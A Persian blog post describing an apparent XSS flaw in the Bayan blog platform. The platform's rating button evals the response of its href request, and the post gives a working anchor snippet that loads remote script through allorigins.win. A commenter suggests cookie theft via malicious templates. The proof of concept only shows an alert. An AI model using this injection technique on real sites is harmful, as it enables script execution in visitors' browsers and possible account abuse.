زباله‌دان
۲۸ دی ۱۴۰۲
۱ دیدگاه

اجرای کد جاوا اسکریپت بدون خرید بستهٔ جاوا اسکریپت

زمان نوشتن کد فعال‌کردن دکمهٔ ثبت نظر مخالف برای افزونهٔ بیان کد جاوا اسکریپت بخش نظرسنجی موافق و مخالف (لایک و دیسلایک)  بیان رو بررسی می‌کردم که یه آسیب پذیری xss پیدا کردم.
البته من دانش زیادی در این رابطه ندارم. و نمی‌دونم دقیقا xss هست یا نه.

بخش نظرسنجی بلاگ اینطور کار می‌کنه:
دکمهٔ لایک یک تگ a هست با کلاس
rate-button  و href اش هم یه آدرس مثل این پایینی

<a href="(*rate_up_link*)" class="rate-button" rel="nofollow" title="موافق">like</a>

وقتی روی دکمهٔ لایک کلیک می‌کنید مرورگر یه درخواست به آدرس href این دکمه میفرسته.

https://trash.blog.ir/process/rate_post/{post_id}/{0|1|2}

بلاگ هم در جواب همچین چیزی می‌فرسته

[1, 0]

یه آرایه که تعداد رای های مخالف و موافق رو مشخص می‌کنه.
و اسکریپت بیان  با eval این کد رو اجرا می کنه!!!  
و اگه آدرس اون لینک رو تغییر بدیم، کد جاوااسکریپت توی اون آدرس اجرا میشه

کافیه از این کد استفاده بشه و آدرس href هم آدرس اسکریپتمون باشه.

 <span class="rate-box rate-button-box">
<a class="rate-button" rel="nofollow" href="https://api.allorigins.win/raw?url=https%3A%2F%2Fbayanbox.ir%2Fdownload%2F1146853218619438244%2Falert.txt">
دکمهٔ خطرناک
</a>
</span>

و بعد از کلیک روی لینک اسکریپت اجرا می‌شه!

کد رو میشه توی ساختار قالب و محتوای مطلب استفاده کرد.

نیاز به فعال بودن امکات اختیاری هم نیست.

برای امتحان کلیک کنید!

برای جلوگیری از خطای Cross-Origin دو راه وجود داره. یکی استفاده از سایت‌هایی مثل allorigins.win
و راه دوم گذاشتن کد جاوا اسکریپت توی css قالب

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
avatar محمدرضا ...
محمدرضا ... ۲۸ دی ۰۲، ۱۷:۰۲
چه آسیب پذیری جالبی ... درود بر شما ... واقعا لذت بردم از خوندن این مطلب ...

خیلی روش جالبی می‌تونه باشه برای حمله از طریق قالب‌های مخرب در سطح بیان و میشه از کوکی‌ها استفاده کرد ...
avatar زباله‌دان پاسخ :
ممنون
البته کوکی سشن HttpOnly هست و با جاوااسکریپت نمی‌شه بهش دسترسی داشت.